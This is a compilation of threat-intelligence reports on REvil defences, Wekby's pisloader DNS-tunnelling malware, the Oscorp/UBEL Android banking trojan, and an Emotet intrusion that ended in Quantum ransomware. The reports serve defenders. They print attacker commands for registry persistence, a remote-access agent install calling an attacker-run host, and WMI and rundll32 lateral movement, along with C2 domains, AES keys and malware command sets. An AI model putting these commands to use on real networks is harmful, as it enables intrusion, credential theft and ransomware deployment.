- **Multi-Factor Authentication (MFA)** – Even strong passwords can be compromised. At a minimum, any form of multifactor authentication is better than none for securing access to critical resources such as e-mail, remote management tools, and network assets. TOTP MFA apps on smartphones may be safer than email or SMS-based MFA systems in the long run; In a situation where the attacker is already on the network, email may already be compromised, and SIM swapping, while rare, could compromise text message MFA codes. But don’t let the perfect be the enemy of the good. MFA of any kind can save your bacon.
- **Lock down accessible services** – Perform scans of your organization’s network from outside the network, and identify and lock down the ports commonly used by VNC, RDP, or other remote access tools. If a machine needs to be reachable using a remote management tool, put access to that tool behind a VPN that uses MFA as part of its login and segmented into its own VLAN away from other machines.
- **Segmentation and Zero-Trust** – At the very minimum, separate critical servers from each other and from workstations by putting them into separate VLANs as you work towards a zero-trust network model.
- **Inventory your assets and accounts** – Unprotected and unpatched devices in the network increase risk, and create a situation where malicious activities could pass unnoticed. It is vital to protect every device on your network, and the only way to do that is to have a current inventory of all connected computers and IoT devices. Use network scans and physical checks to locate and catalog them.
- **Product configuration** – Ensure that security products are configured following best practices guidance. Check policy configurations and exclusions on a regular basis. New features may not be enabled automatically.
- **Active Directory (AD)** – Conduct regular audits on all accounts in AD, ensuring that no accounts have more access than is needed for their purpose. Disable accounts for departing employees as soon as they leave the company.
- **Patch everything** – Keep Windows and other software up to date. Validate that patches have been installed for critical systems like internet-facing machines or domain controllers.
Users of Sophos LiveDiscover can run SQL queries to interrogate telemetry from devices on their managed network, and hunt for unusual or unexpected behavior on their managed devices.
## Acknowledgments
SophosLabs researchers Anand Ajjan, Hajnalka Kope, and Mark Loman and Rapid Response manager Peter Mackenzie contributed to our understanding of REvil attacks and the malware’s behavior.
|
# New Wekby Attacks Use DNS Requests As Command and Control Mechanism
By Josh Grunzweig, Mike Scott, and Bryan Lee
May 24, 2016
We have observed an attack led by the APT group Wekby targeting a US-based organization in recent weeks. Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech. The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of HackingTeam’s Flash zero-day exploit.
The malware used by the Wekby group has ties to the HTTPBrowser malware family and uses DNS requests as a command and control mechanism. Additionally, it uses various obfuscation techniques to thwart researchers during analysis. Based on metadata seen in the discussed samples, Palo Alto Networks has named this malware family ‘pisloader’.
## Infrastructure
The pisloader malware family was delivered via HTTP from the following URL. At the time of writing, this URL was still active.
`http://globalprint-us[.]com/proxy_plugin.exe`
Other samples hosted on this domain include:
`http://globalprint-us[.]com/proxy_web_plugin.exe`
- **MD5:** E4968C8060EA017B5E5756C16B80B012
- **SHA256:** 8FFBB7A80EFA9EE79E996ABDE7A95CF8DC6F9A41F9026672A8DBD95539FEA82A
- **Size:** 126976 Bytes
- **Compile Time:** 2016-04-28 00:38:46 UTC
This discovered file was found to be an instance of the common Poison Ivy malware family with the following configuration data:
- **Command and Control Address:** intranetwabcam[.]com
- **Command and Control Port:** 80
- **Password:** admin
- **Mutex:** )!VoqA.I5
The domains witnessed in this attack were all registered very shortly prior to being used. The following domains have been witnessed in this attack:
Additionally, the following IP resolutions have been observed.
## Initial Dropper
The following sample was discovered initially and is referenced in the subsequent analysis:
- **MD5:** E8D58AA76DD97536AC225949A2767E05
- **SHA256:** DA3261C332E72E4C1641CA0DE439AF280E064B224D950817A11922A8078B11F1
- **Size:** 126976 Bytes
- **Compile Time:** 2016-04-27 14:37:34 UTC
This particular file has the following metadata properties. The references to ‘pisload2’ led to the naming of this malware family.
The initial dropper contains very simple code that is responsible for setting persistence via the Run registry key and dropping and executing an embedded Windows executable. Limited obfuscation was encountered, where the authors split up strings into smaller sub-strings and used ‘strcpy’ and ‘strcat’ calls to re-build them prior to use. They also used this same technique to generate garbage strings that are never used. This is likely to deter detection and analysis of the sample.
In the above decompiled code, we see that the pisloader is generating the following string, which eventually is called to set the Run registry key:
```
cmd.exe /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v lsm /t reg_sz /d "%appdata%\lsm.exe" /f
```
This particular command will set the `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\lsm` registry key with a value of “%appdata%\lsm.exe”. After this key is set, the malware proceeds to decrypt two blobs of data with a single-byte XOR key of 0x54. The resulting data is written to the `%appdata%\lsm.exe` file path.
After this file is written, the malware executes the newly written lsm.exe file, which contains the pisloader payload.
## Payload
The following sample was discovered and is referenced in the subsequent analysis:
- **MD5:** 07B9B62FB3B1C068837C188FEFBD5DE9
- **SHA256:** 456FFFC256422AD667CA023D694494881BAED1496A3067485D56ECC8FEFBFAEB
- **Size:** 102400 Bytes
- **Compile Timestamp:** 2016-04-27 13:39:02 UTC
The payload is heavily obfuscated using a return-oriented programming (ROP) technique, as well as a number of garbage assembly instructions. The malware is actually quite simplistic once the obfuscation and garbage code is ignored. It will begin by generating a random 10-byte alpha-numeric header. The remaining data is base32-encoded, with padding removed. This data will be used to populate a subdomain that will be used in a subsequent DNS request for a TXT record.
The use of DNS as a C2 protocol has historically not been widely adopted by malware authors. Notable exceptions include:
- FrameworkPOS
- C3PRO-RACCOON
- FeederBot
- Morto
- PlugX Variants
The use of DNS as a C2 allows pisloader to bypass certain security products that may not be inspecting this traffic correctly.
The pisloader sample will send a beacon periodically that is composed of a random 4-byte uppercase string that is used as the payload. The malware expects various aspects of the DNS responses to be set in a specific way, or else pisloader will ignore the DNS reply. The following DNS flags must be set. Should any additional flags be set, the response will be ignored:
- Response
- Recursion Desired
- Recursion Available
The ‘Questions’ field must be set to a value of 0x1. The ‘Answer Resource Records’ field must be set to a value of 0x1. Additionally, the response query subdomain must match the original DNS request.
The remote command and control (C2) server is statically embedded within the malware. A single host of `ns1.logitech-usa[.]com` is found in this specific sample. The C2 server will respond with a TXT record that is encoded similar to the initial request. In the response, the first byte is ignored, and the remaining data is base32-encoded.
The following commands, and their descriptions are supported by the malware:
- **sifo** – Collect victim system information
- **drive** – List drives on victim machine
- **list** – List file information for provided directory
- **upload** – Upload a file to the victim machine
- **open** – Spawn a command shell
Some examples of these commands being used can be seen below. A mock DNS server was used to generate the commands and receive the resulting data.
### Example sending the ‘drive’ command:
```
1 [+] Sending Command: drive | Encoded: CMRZGS5TF
2 [+] Raw Data Received: UMAVMGAGD0IE5FY7CDHJOHYRB2LR6A
3 [+] Decoded Data Received: A:\|C:\|D:\
```
### Example sending the ‘open’ command:
```
1 [+] Sending Command: open | Encoded: CN5YGK3Q
2 [+] Raw Data Received:
3 ULCBMGAGCAJVUWG4TPONXWM5BAK5UW4ZDPO5ZSAW2WMVZHG2LP
4 [+] Decoded Data Received: Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Josh Grunzweig\Desktop>
```
### Example sending the ‘sifo’ command:
```
1 [+] Sending Command: sifo | Encoded: CONUWM3Y
2 [+] Raw Data Received:
3 FUBWMGAGIANQ6TCNZSFYYTMLRRFYYTKMZGMM6VOSKOFVGEUTCW
4 [+] Decoded Data Received: l=172.16.1.153&c=WIN-LJLV2NKIOKP [Josh Grunzweig]&o=6,1,32
```
### Example listing the contents of the C:\ drive:
```
1 [+] Sending Command: list C:\ | Encoded: CNRUXG5BAIM5FY
2 [+] Raw Data Received:
3 QKTUMGAGLAGB6CIUTFMN4WG3DFFZBGS3T4GIYDCNJPGAZS6MRW
4 [+] Decoded Data Received: 0|$Recycle.Bin|2015/03/26 14:40:57|0|22^1|autoexec.bat|2009/06/10 21:42:20|24|32^0|Boot|2015/03/26 16:24:02|0|22^1|bootmgr|2014/06/28 00:21:34|391640|39^1|BOOTSECT.BAK|2015/03/26 16:35:39|8192|39^1|config.sys|2009/06/10 21:42:20|10|32^0|Documents and Settings|2009/07/14 04:53:55|0|9238^1|Example.log|2016/02/09 20:17:55|0|32^1|pagefile.sys|2016/04/25 14:09:20|1660411904|38^0|PerfLogs|2009/07/14 02:37:05|0|16^0|Program Files|2016/02/29 15:59:43|0|17^0|ProgramData|2016/02/02 17:28:04|0|8210^0|Python27|2016/02/25 16:39:37|0|16^0|Recovery|2015/03/26 14:39:57|0|8214^0|System Volume Information|2016/02/29 16:00:19|0|22^0|Users|2015/03/26 14:39:58|0|17^0|Windows|2016/02/12 10:20:21|0|16^^end^
```
The sifo command above uses the printf format string of ‘l=%s&c=%s&o=%s’. This is consistent with previous versions of HTTPBrowser, which is another malware family frequently used by the Wekby group. Additionally, a number of commands themselves, such as the ‘list’, ‘drive’, and ‘upload’ commands are consistent with HTTPBrowser. The formatted responses from these commands are also identical. A known HTTPBrowser sample was spotted with similar metadata as the discussed pisloader sample, which adds further credibility that pisloader is likely a variant of this malware family.
Additionally, the code used to generate these commands is available via GitHub.
## Conclusion
The Wekby group continues to target various high profile organizations using sophisticated malware. The pisloader malware family uses various novel techniques, such as using DNS as a C2 protocol, as well as making use of return-oriented programming and other anti-analysis tactics.
Palo Alto Networks customers are protected against this threat in the following ways:
- WildFire correctly identifies all pisloader samples as malicious.
- A pisloader AutoFocus tag has been created in order to track this malware family.
- All domains/IPs used in this attack have been flagged as malicious.
- An IPS rule has been created to detect pisloader DNS traffic.
|
# Oscorp evolves into UBEL
**Federico Valentini, Francesco Iubatti**
## Key Points
Back in February 2021, a smishing campaign was detected distributing Oscorp, a new Android malware at that time. The main goal of that campaign was stealing funds from the victims' home banking service, by combining the usage of phishing kits and vishing calls. Oscorp has been developed to attack multiple financial targets (both banks and cryptocurrency apps) and its main features are the following:
- Ability to send/intercept/delete SMS and make phone calls
- Ability to perform Overlay Attacks for more than 150 mobile applications
- VNC feature through WebRTC protocol and Android Accessibility Services
- Enabling key logging functionalities
Once Oscorp is successfully installed on the victim's device, it enables Threat Actors (TAs) to remotely connect to it via WebRTC protocol. In some cases, we found a specific Threat Actor leveraging fake bank operators to persuade victims over the phone while performing unauthorized bank transfers in the background. After an apparent stop of the initial activities, during May 2021, new Oscorp samples have been found in the wild, with some minor changes; at the same time, on multiple hacking forums, a new Android botnet known as UBEL started being promoted. We found multiple indicators linking Oscorp and UBEL to the same malicious codebase, suggesting a fork of the same original project or just a rebrand by other affiliates, as its source code appears to be shared between multiple TAs.
## Overview
At the end of January 2021, a new Android malware started appearing and it was dubbed as Oscorp. During February 2021, a new version of Oscorp was detected by Cleafy systems, and after a couple of hours, a first incident related to this threat was reported to us. Thanks to the data retrieved plus an in-depth technical analysis of the distributed Oscorp samples, we were able to reconstruct the detailed chain of events and share all the methodologies used by a specific TA for conducting bank frauds via ATO (Account Takeover fraud).
The following list includes some of the high-level indicators we extracted in our recent analysis:
- EU retail banks appear to be among the targets of this specific TA, and multiple incidents have already been confirmed. Since the list of targets also includes banks and financial institutions from the US, JP, AU, we don’t exclude that other local TAs might be using the same attack vector (Oscorp) to carry over other malicious activities.
- Phishing campaigns were distributed via SMS messages (smishing), a common tactic nowadays for retrieving valid credentials and phone numbers.
- A fake bank operator conducts attacks in real-time by persuading victims over the phone (vishing), a common tactic typically used for bypassing multi-factor authentication (e.g., OTP codes).
- Oscorp appears to be distributed by this TA for gaining full remote access to the infected mobile device and performing unauthorized bank transfers from the infected device itself, drastically reducing their footprint since a new device enrollment is not required in this scenario.
- Instant Payments appears to be the most popular cash-out mechanism mainly routed through a network of money mules. We don’t exclude other cash-out mechanisms (e.g., virtual cards generation, prepaid cards recharge, card-less ATM, etc.) since those services are quite common on modern retail banks services.
Moving to the malware internals, we were able to extract multiple features of Oscorp which are mainly achieved by abusing the Android Accessibility services, a well-known technique used by other families as well (e.g., Anubis, Cerberus/Alien, TeaBot). The following snippet of code contains all the remote commands found in the Oscorp source code. All the commands are encrypted through an AES routine, a well-known technique used by malware authors for slowing down analysts. The complete list of commands found in Oscorp is available in the appendix.
After an apparent stop of the initial activities, during May/June 2021, new Oscorp samples have been found in the wild, with some minor changes; at the same time, on multiple hacking forums, a new Android botnet known as UBEL started being promoted. By analyzing some related samples, we found multiple indicators linking Oscorp and UBEL to the same malicious codebase, suggesting a fork of the same original project or just a rebrand by other affiliates, as its source code appears to be shared between multiple TAs.
Another interesting link between Oscorp and UBEL is the “bot id” string format, which consists of an initial “RZ-” substring followed by some random alphanumeric characters. Also, on those newer Oscorp samples (linked to UBEL), we were able to identify different API endpoints and different AES keys compared to the initial waves spotted at the very first of 2021.
## Static Analysis
The following image shows a snippet of the AndroidManifest file. In the following table, we included the most interesting permissions requested by Oscorp for getting access to restricted parts of the Android system (e.g., READ_SMS, SEND_SMS) or other legitimate applications (e.g., BIND_ACCESSIBILITY_SERVICE):
- **SYSTEM_ALERT_WINDOW**: Allows an app to create windows shown on top of all other apps. Very few apps should use this permission; these windows are intended for system-level interaction with the user. Oscorp uses this permission during the installation phase to force the user to accept the Accessibility permission.
- **RECORD_AUDIO**: Allows an app to record audio.
- **READ_SMS**: Allows an app to send SMS messages.
- **SEND_SMS**: Allows an app to send SMS messages.
- **RECEIVE_SMS**: Allows an app to receive SMS messages.
- **REQUEST_INSTALL_PACKAGES**: Allows an application to request installing packages.
- **REQUEST_DELETE_PACKAGES**: Allows an application to request deleting packages.
- **RECEIVE_BOOT_COMPLETED**: Allows an app to launch itself automatically after system boot. Oscorp uses this permission to achieve persistence on the device and run in the background as an Android service.
- **BIND_ACCESSIBILITY_SERVICE**: Accessibility services should only be used to assist users with disabilities in using Android devices and apps. They run in the background and receive callbacks by the system when AccessibilityEvents are fired. Oscorp abused this permission to observe and retrieve information on the compromised device.
Oscorp implements a couple of techniques to slow down static analysis, such as:
- All the strings are obfuscated using an open-source implementation, but some strings (e.g., bot’s commands, API endpoints, etc.) are also encrypted with AES and base64 encoding.
- Network communication between Oscorp and C2 are encrypted using only the AES algorithm and base64 encoding on top of regular HTTP(s).
## WebRTC – Web Real-Time Communication
WebRTC (Web Real-Time Communication) is a free, open-source project providing web browsers and mobile applications with real-time communication (RTC) via simple application programming interfaces (APIs). It allows audio and video communication to work inside web pages by allowing direct peer-to-peer communication, eliminating the need to install plugins or download native apps. The technologies behind WebRTC are implemented as an open web standard and available as regular JavaScript APIs in all major browsers. For native clients, like Android and iOS applications, a library is available that provides the same functionality.
We assume that Oscorp integrated WebRTC for achieving a real-time interaction with the compromised device combined with the abuse of Android Accessibility Services, bypassing the need for a “new device enrollment” to perform an Account Takeover scenario (ATO). In fact, the authors named this feature as ‘Reverse VNC’ (or RPM) on their C2 web panel since a reverse connection is necessary for bypassing NAT or firewall restrictions and live interaction with the device can be achieved via Android Accessibility Services.
The main goal for this TA by using this feature is to avoid a “new device enrollment,” thus drastically reducing the possibility of being flagged ‘as suspicious’ since device’s fingerprinting indicators are well-known from the bank’s perspective.
## Dynamic Analysis
When the malicious application has been downloaded on the device, it tries to be installed as an “Android Service,” which is an application component that can perform long-running operations in the background. This feature is abused by Oscorp to silently hide itself from the user, once installed, also preventing detection, and ensuring its persistence. During some campaigns spotted early in 2021, they switched the name of the malicious application from “Android System” to “Protezione Clienti” app.
After the installation as “Android Service,” Oscorp will request the following permissions, which are mandatory to perform its malicious behavior:
- **Observe your actions**: Used to intercept and observe the user action.
- **Retrieve window content**: Used to retrieve sensitive information such as login credentials, SMS, two-factor authentication (2FA) codes from authenticators, etc.
- **Perform arbitrary gestures**: Oscorp uses this feature to accept different kinds of permissions, immediately after the installation phase, for example, the REQUEST_IGNORE_BATTERY_OPTIMIZATIONS permission popup, but also perform different actions during the interaction with the compromised device through the WebRTC protocol.
Once the requested permissions have been accepted, the malicious application will remove its icon from the device and immediately start communicating with its C2 server in the background. Network communications performed by Oscorp to its C2 server are encrypted with the AES algorithm, and at the very first, it tries to send all overall information of the newly infected device, such as vendor, public IP address, list of the installed apps, SMS messages, action performed by the user, etc.
Oscorp can also abuse the Android Accessibility Services to capture and retrieve whatever is on the screen of the device, for example:
- 2FA codes (e.g., OTP) generated by banking applications during login authentication and while signing new bank transfers (e.g., instant payments, SEPA transfers, etc.)
- Intercepting notification and SMS messages
- Performing Overlay attacks
- Enabling a full interaction with the infected device (e.g., sending arbitrary clicks on screen, opening arbitrary applications already installed, etc.)
## Appendix
### Appendix 1: List of bots’ commands
Below is the summary list of all the bot commands found on Oscorp:
- **toast**: Show a simple feedback about an operation in a small popup.
- **send_message**: Send an SMS message.
- **stock_injection**: Save the injections (phishing HTML payload) provided by C2 in the Jedi / Injections.txt file.
- **forward_call**: Call forwarding through the code *21* + number + ##.
- **run_application**: Run an application.
- **enab_sil**: Mute the device (set to 0 the volume level of the device).
- **switch_sms**: Change the default SMS application with Oscorp.
- **remove_injection**: Remove an injection.
- **2FA**: Launch the Google 2FA app (then Oscorp is able to steal the codes abusing the Accessibility service).
- **make_call**: Perform a call to someone.
- **dev_admin**: Set itself as admin app.
- **run_ussd**: Allows itself to initiate a phone call without going through the Dialer user interface for the user to confirm the call.
- **block**: Save the apps to be blocked in Jedi / block.txt and start MyService.
- **launch_url**: Launch a URL.
- **fetch_applications**: Get the list of installed apps.
- **delete_message**: Remove an SMS.
- **delete_application**: Remove an application.
- **batt_opt**: Insert Oscorp app to a list of apps that ignore optimization battery.
- **url_injection**: Start the “ramp” class used to perform stream video of the screen and audio of the compromised device.
- **screencap**: Start to record the audio and video through the WebRTC and STUN protocols.
### Appendix 2: Overlay Attack’s technique
The Overlay attack is a well-known technique implemented on modern Android banking trojans which consist of a malicious application somehow able to perform actions on behalf of the victim. This usually takes the form of an imitation app or a WebView launched “on-top” of a legitimate application (such as a banking app). During our analysis, we were able to extract more than 150 targeted applications.
All the injections payloads which consist mainly of HTML, CSS, and JS files, will be downloaded from the C2 server in a specific directory called _YTrJWNMmHkAPfdWA4QsfPwufCBhpYGbG. When this feature is requested remotely by the TA, if the victim opens one of the targeted applications, it will get the injection payload shown in a WebView launched ‘on top’ of the legitimate application.
### Appendix 3: Extracted IOCs
- **Md5**
- 0d1df5c35c3c43e1b8bb7daec2495c06
- f73ebc6f645926bf8566220b14173df8
- eaf0524ba3214b35a068465664963654
- daba8377d281c48c1c91e2fa7f703511
- 1d848ba69a966f9f0ebe46bcb89a10c4
- 8daf9ba69c0dcf9224fd1e4006c9dad3
- de51b859f41b6a9138285cf26a1fad84
- **App names**
- Protezione Cliente
- Android System
- deneme
- **Package names**
- com.cosmos.starwarz
- com.mapwqpdox201q.pla203eoaowpzmka
- ycpgmsxy.rqhfesas
- **C2 Domains**
- montanatony[.xyz
- marcobrando[.xyz
- quantumbots[.xyz
- smoothcbots[.xyz
- omegabots[.xyz
- callbinary.xyz
- gogleadser.xyz
- **Stock injection path**
- /_YTrJWNMmHkAPfdWA4QsfPwufCBhpYGbG/LFwbkjNthZk9jDtvADjnS7FyUPcjKPpb_/
- **AES keys**
- RHBuUXFEhkrbrHaYIZ6VYH3uNIBRnwTe
- 8HCTSX7IcbAkItzuS34zaVqUs4dMKSqV
In addition, the Android Banking Trojan Oscorp/Ubel is already classified and blacklisted in our Threat Intelligence data with the following tags:
- ASK_BANKER_ANDROID_OSCORP_V1
- ASK_BANKER_ANDROID_OSCORP_V2
### Appendix 4: Geographical distribution of banks and other apps targeted by Oscorp
The geographical distribution of banks and other apps targeted by Oscorp is documented in the analysis.
|
# 老树新花:Kimsuky使用的新版KGH间谍组件分析
逍遥二仙 微步在线研究响应中心
# APT 27 个
# Kimsuky 4 个
# 安全报告 58 个
|
# Emotet Strikes Again – LNK File Leads to Domain Wide Ransomware
**November 28, 2022**
In June of 2022, we observed a threat actor gaining access to an environment via Emotet and operating over an eight-day period. During this time, multiple rounds of enumeration and lateral movement occurred using Cobalt Strike. Remote access tools were used for command and control, such as Tactical RMM and Anydesk. The threat actor's final actions included data exfiltration using Rclone and domain-wide deployment of Quantum Ransomware. We have observed similar traits in previous cases where Emotet and Quantum were seen.
## Case Summary
The intrusion began when a user double-clicked a LNK file, which then executed encoded Powershell commands to download an Emotet DLL onto the computer. Once executed, Emotet set up a Registry Run Key to maintain persistence on the beachhead host. Emotet then proceeded to execute a short list of discovery commands using the Windows utilities `systeminfo`, `ipconfig`, and `nltest`, targeting the network’s domain controllers. These commands would go on to be repeated daily by the Emotet process. Around one and a half hours after execution, Emotet began sending spam emails, mailing new malicious attachments to continue spreading.
Similar activity continued over the second day, but on the third day of the incident, Emotet dropped a Cobalt Strike executable beacon onto the beachhead host. Using the Cobalt Strike beacon, the threat actors began conducting a new round of discovery activity. Windows net commands were run, targeting domain groups and computers, `nltest` was executed again, and they also used `tasklist` and `ping` to investigate a remote host.
The threat actor then moved laterally to a workstation. They first attempted this action using a PowerShell beacon and a remote service on the host, but while the script did execute on the remote host, it appeared to fail to connect to the command and control server. Next, they proceeded to transfer a beacon executable over SMB to the remote host’s ProgramData directory. This beacon was then successfully executed via WMI and connected successfully to the threat actor's server.
Once on this new host, the threat actors proceeded to run the net commands to review the Domain Administrators group again. They then proceeded to dump credentials from the LSASS process on the host. With some further process injection, they began to enumerate SMB shares across the environment and, upon finding a primary file server, reviewed several documents present on the server. This Cobalt Strike server stopped communicating shortly thereafter.
On the fourth day of the intrusion, Emotet dropped a new Cobalt Strike beacon. Again, some net command discovery was run for domain admins and domain controller servers. A flight of netlogon authentications was observed from the beachhead host to the domain controller as a possible attempt at exploiting the domain controller.
The threat actors, however, proceeded along a more traditional path, using SMB file transfers and remote services to move laterally across domain controllers and several other servers in the environment using Cobalt Strike beacon DLLs. On the domain controller, the threat actors conducted further discovery tasks running `find.bat` and `p.bat`, which executed AdFind active directory discovery and performed a ping sweep across the environment.
On one of the other targeted servers, the threat actors deployed Tactical RMM, a remote management agent, for additional access and persistence in the environment. From this server, the threat actors were observed using Rclone to exfiltrate data from a file share server in the environment. The Mega.io service was the location the stolen data was sent.
On the fifth day of the intrusion, the threat actors appeared again to try and exfiltrate some data from the mail server using Rclone, but this appeared to fail, and the threat actors did not try to resolve the issue. After this, the threat actors went silent until the eighth and final day of the intrusion.
On the eighth day of the intrusion, the threat actor accessed the environment using Tactical RMM to deploy Anydesk on the compromised host. After establishing a connection using Anydesk, the threat actors then dropped SoftPerfect’s Network Scanner and ran it to identify hosts across the environment.
From there, the threat actors began connecting to other hosts via RDP, including a backup server. After choosing a new server and connecting via RDP, the threat actors dropped `Powertool64.exe` and `dontsleep.exe` in preparation for their final actions. Finally, `locker.dll` and a batch file `1.bat` were dropped on the host, and the batch file was executed, beginning the Quantum ransomware deployment to all hosts over SMB. From initial intrusion to ransomware deployment, 154 hours passed, over eight days.
After ransomware deployment, the threat actors remained connected and did RDP to a few other servers and executed `ProcessHacker.exe` and a net command. With no other activity taking place, we assess that this was likely the threat actors confirming successful deployment of the ransomware payload across the network.
## Services
We offer multiple services including a Threat Feed service which tracks Command and Control frameworks such as Cobalt Strike, BumbleBee, Covenant, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found here. Both of the Cobalt Strike servers in this case were on our Threat Feed (days to months) in advance of this intrusion. We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our Security Researcher and Organization services.
## Timeline
### Initial Access
Initial access took the form of an LNK file delivered to a victim through a MalSpam campaign. The Powershell script embedded within the LNK is a Base64 encoded script with various components split into different variables for obfuscation purposes. The script will decode itself rather than depend on Powershell’s built-in ability to execute encoded scripts.
The Powershell script, when double-clicked (executed), will attempt to connect to a set of domains containing the Emotet malware. Upon successful download of the Emotet malware, the PowerShell script will write it to a temporary directory and execute the payload via `regsvr32.exe`.
It is interesting to note, the LNK identifies the machine it was created on through the NetBIOS name of black-dog and a MAC Address beginning with 08:00:27 indicating a system running on Virtualbox.
**Machine ID:** black-dog
**MAC Address:** 08:00:27:c6:74:5d
**MAC Vendor:** PCS SYSTEMTECHNIK
**Creation:** 2022-05-12 15:33:49
### Execution
Once the PowerShell script from the LNK file executed successfully, Emotet began execution. Emotet will initially copy itself to a randomly named folder in the user's temporary folder. Multiple instances of Emotet spawning itself were observed over a period of three days. Almost all the instances of Emotet included three enumeration commands executed:
- `systeminfo`
- `ipconfig /all`
- `nltest /dclist:`
Towards the third and fourth day of the intrusion, Cobalt Strike was dropped to disk as a PE executable and executed. This access was used to perform enumeration and move laterally to other hosts.
### Persistence
The Emotet malware has used various persistence methods over time, an example can be seen here. On the first day, Emotet established persistence via a run key. As we can see, the `regsvr32.exe` Windows’s native utility was used to launch the Emotet DLL.
After moving to the hands-on keyboard phase of the intrusion, the threat actors proceeded to deploy several remote management tools across the environment. Tactical RMM was the first tool chosen for deployment. Tactical RMM is a remote management software platform that uses a combination of agents to allow for remote management and access to systems. The file `17jun.exe` was deployed into the ProgramData folder on one of the servers. This was then executed by the threat actors and resulted in the installation of the main RMM agent. The install completed with the following command:
```
"C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api https://api.floppasoftware[.]com --client-id 1 --site-id 1 --agent-type server --auth 5bc5f5263224697ff9a653f8efa7e7d7a2ce341920a03c60e4823331b2508c
```
A service was also created for the agent.
**Event 7045**
A service was installed in the system.
**Service Name:** TacticalRMM Agent Service
**Service File Name:** "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m svc
**Service Type:** user mode service
**Service Start Type:** auto start
**Service Account:** LocalSystem
Along with the `tacticalrmm.exe` client, a second executable called `meshagent.exe` was installed to handle remote session interaction, and a separate service was created for that agent.
**Event 7045**
A service was installed in the system.
**Service Name:** Mesh Agent
**Service File Name:** "C:\Program Files\Mesh Agent\MeshAgent.exe"
**Service Type:** user mode service
**Service Start Type:** auto start
**Service Account:** LocalSystem
On the final day of the intrusion, the threat actors added AnyDesk to the same server running Tactical RMM, providing an additional means of access prior to the deployment of ransomware.
**Event 7045**
A service was installed in the system.
**Service Name:** AnyDesk Service
**Service File Name:** "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --service
**Service Type:** user mode service
**Service Start Type:** auto start
**Service Account:** LocalSystem
### Privilege Escalation
We suspect a failed ZeroLogon exploit was attempted against a domain controller, originating from the beachhead host with Cobalt Strike running on it. One indicator is the ‘mimikatz’ string in the Netlogon event that is used by the Mimikatz Zerologon implementation. During a period of a few seconds, multiple NetrServerReqChallenge and NetrServerAuthenticate2 methods in the traffic from a single source were observed, this is one of the indicators of a Zerologon attempt.
### Defense Evasion
**Process Injection**
The threat actor was observed process injecting into legitimate processes and using them to execute their own tasks on the system. This can be seen from Winlogon connecting to a domain associated with a Cobalt Strike server and removing files from the system. The specific mechanism used to inject into a foreign process was injecting arbitrary code into its memory space and executing it as a remotely created thread. This occurred from `rundll32.exe`, which was previously used to execute and run Cobalt Strike.
The following table summarizes the processes used for injection during this case:
| Injected Process Name | Injection Payload |
|----------------------------------------------------|-------------------|
| C:\Windows\system32\winlogon.exe | Cobalt Strike |
| C:\Windows\System32\RuntimeBroker.exe | Cobalt Strike |
| C:\Windows\System32\svchost.exe | Cobalt Strike |
| C:\Windows\System32\taskhostw.exe | Cobalt Strike |
| C:\Windows\system32\dllhost.exe | Cobalt Strike |
**PowerTool**
PowerTool was observed, dropped, and executed on the server used to deploy the ransomware payload. This tool has the ability to kill a process, delete its process file, unload drivers, and delete the driver files. It has been reportedly used by several ransomware groups to aid in their operations.
As a byproduct of execution, PowerTool will drop a driver to disk and load it into the system.
**Driver Signature Name:** 北京华林保软件技术有限公司
### Indicator Removal
The threat actor was observed deleting files that had been dropped to disk.
### Credential Access
Process access to LSASS was observed, likely to dump credentials from a process that was injected with Cobalt Strike. The Granted Access level matches known indicators for Mimikatz with an access value of 0x1010 (4112). We also observed a Cobalt Strike executable request access level of 0x0040 (64) to LSASS, indicating other credential access tools may have been in use by the threat actor.
### Discovery
During the initial Emotet execution, three automated discovery commands were observed. These were then repeated, seen occurring once a day from the Emotet host:
- `systeminfo`
- `ipconfig /all`
- `nltest /dclist:`
Multiple commands responsible for enumerating Active Directory groups, domain-joined computers, and domain trusts were executed via Cobalt Strike on the beachhead:
- `whoami /groups`
- `net group /domain`
- `net group "domain computers" /domain`
- `net group /domain "Domain controllers"`
- `net group "domain admins" /domain`
- `nltest /trusted_domains`
The threat actor was observed querying a non-existent group Domain controller, followed by a command correcting the mistake that queried the group Domain controllers.
- `net group /domain "Domain controller"`
- `net group /domain "Domain controllers"`
A ping command issued to a user workstation and a domain controller were observed moments before lateral movement was attempted.
- `ping COMPUTER.REDACTED.local`
`Invoke-ShareFinder` was observed being used via Powershell in the environment from an injected process with Cobalt Strike. In addition to the `Invoke-ShareFinder` command, other functions that were used by the script were also observed. The remnants of `Invoke-ShareFinder` could also be seen on the network through the consistent querying of “ADMIN$” and “C$” shares for each host over a short period of time. In addition to these shares, a few shares from the file servers were also accessed.
Once on the domain controller, two batch files were run. The first `find.bat` was used to run AdFind.exe for Active Directory discovery.
- `find.exe -f "objectcategory=computer"`
- `find.exe -f "(objectcategory=organizationalUnit)"`
- `find.exe -subnets -f (objectCategory=subnet)`
- `find.exe -f "(objectcategory=group)"`
- `find.exe -gcb -sc trustdmp`
The second script, `p.bat`, was run to sweep the network using ping, looking for network connectivity and online hosts.
On the final day, prior to ransom deployment, the threat actor also dropped `netscan.exe` on the server and executed it from the Tactical RMM `meshagent.exe` session.
- `C:\Windows\System32\mstsc mstsc.exe /v:IP_ADDRESS_1`
- `C:\Windows\System32\mstsc mstsc.exe /v:IP_ADDRESS_2`
- `C:\Windows\SysWOW64\explorer.exe "C:\Windows\SysWOW64\explorer.exe" \\IP_ADDRESS_1\C$`
- `C:\Windows\SysWOW64\explorer.exe "C:\Windows\SysWOW64\explorer.exe" \\IP_ADDRESS_2\C$`
### Lateral Movement
**Cobalt Strike Remote Service Creation**
The threat actor was observed creating remote services in order to execute beacon DLL files transferred via SMB as SYSTEM on remote hosts.
- `C:\Windows\System32\cmd.exe /c rundll32.exe C:\ProgramData\x86.dll, StartA`
In another instance, an executable Cobalt Strike beacon was copied via SMB to a target machine and then executed via WMI.
- `wmic /node:IP_Address process call create "cmd.exe /c start C:\Progradata\sc_https_x64.exe"`
**Remote Desktop**
